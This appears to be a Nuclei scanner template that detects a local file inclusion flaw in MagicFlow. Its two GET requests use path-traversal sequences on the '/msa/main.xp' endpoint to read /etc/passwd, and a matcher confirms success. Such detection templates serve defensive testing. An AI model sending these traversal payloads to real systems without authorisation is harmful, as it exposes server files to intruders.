漏洞描述
MagicFlow is susceptible to local file inclusion vulnerabilities because it allows remote unauthenticated users to access locally stored files on the server and return their content via the '/msa/main.xp' endpoint and the 'Fun' parameter.
id: magicflow-lfi
info:
name: MagicFlow - Local File Inclusion
author: gy741
severity: high
description: |
MagicFlow is susceptible to local file inclusion vulnerabilities because it allows remote unauthenticated users to access locally stored files on the server and return their content via the '/msa/main.xp' endpoint and the 'Fun' parameter.
reference:
- https://www.seebug.org/vuldb/ssvid-89258
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cwe-id: CWE-22
metadata:
max-request: 2
tags: magicflow,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/msa/main.xp?Fun=msaDataCenetrDownLoadMore+delflag=1+downLoadFileName=msagroup.txt+downLoadFile=../../../../../../etc/passwd"
- "{{BaseURL}}/msa/../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100e97e0439117dda1469afa2cd880f39f1960465d5c2b945d26b3d26868f61cdd2022072956684a8b06e9598896195d1d8d2c10f75d7675dba1301a2dac8334dc91d9b:922c64590222798bb761d5b6d8e72950